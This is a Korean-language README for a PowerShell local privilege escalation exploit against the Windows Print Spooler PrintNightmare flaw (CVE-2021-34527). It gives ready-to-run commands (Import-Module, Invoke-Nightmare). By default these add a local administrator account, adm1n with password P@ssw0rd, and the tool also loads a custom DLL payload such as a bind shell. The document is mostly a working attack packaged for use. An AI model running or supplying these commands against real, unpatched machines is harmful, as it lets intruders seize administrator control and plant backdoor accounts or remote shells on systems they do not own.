
PowerShell 로컬 권한 상승 익스플로잇으로, Windows Print Spooler를 대상으로 하는 PrintNightmare(CVE-2021-34527) 취약점을 악용합니다. 리플렉티브 Win32 API 호출을 통해 로컬 관리자 사용자를 추가하는 사용자 지정 DLL 페이로드를 포함합니다.
Caleb Stewart | John Hammond | 2021년 6월 1일
2021년 6월 2일 업데이트: Microsoft는 CVE-2021-34527에 대한 보안 권고를 발표했으며, 해당 식별자를 정확히 PrintNightmare 취약점 악용으로 명명했습니다. 이전에는 커뮤니티에서 6월 8일 패치가 이 문제를 해결하지 못함에 따라 CVE-2021-1675가 "PrintNightmare"로 추정하고 있었습니다. 이 저장소는 원본과 동일합니다. 단지 CVE 이름만 다릅니다.
CVE-2021-34527은 "PrintNightmare"로 불리는 심각한 원격 코드 실행 및 로컬 권한 상승 취약점입니다.
원격 코드 실행 기능에 대한 개념 증명 익스플로잇이 (Python, C++) 및 로컬 권한 상승을 위한 C# 버전이 공개되었습니다. 우리는 순수 PowerShell로 된 네이티브 구현을 보지 못했고, 익스플로잇을 다듬고 재구성하는 데 도전하고 싶었습니다.
이 PowerShell 스크립트는 PrintNightmare 공격 기법을 사용하여 로컬 권한 상승(LPE)을 수행합니다.

Windows Server 2016 및 Windows Server 2019에서 테스트되었습니다.
기본적으로 로컬 관리자 그룹에 새 사용자를 추가합니다:
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
사용자 지정 DLL 페이로드를 제공하여 다른 작업을 수행할 수도 있습니다.
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"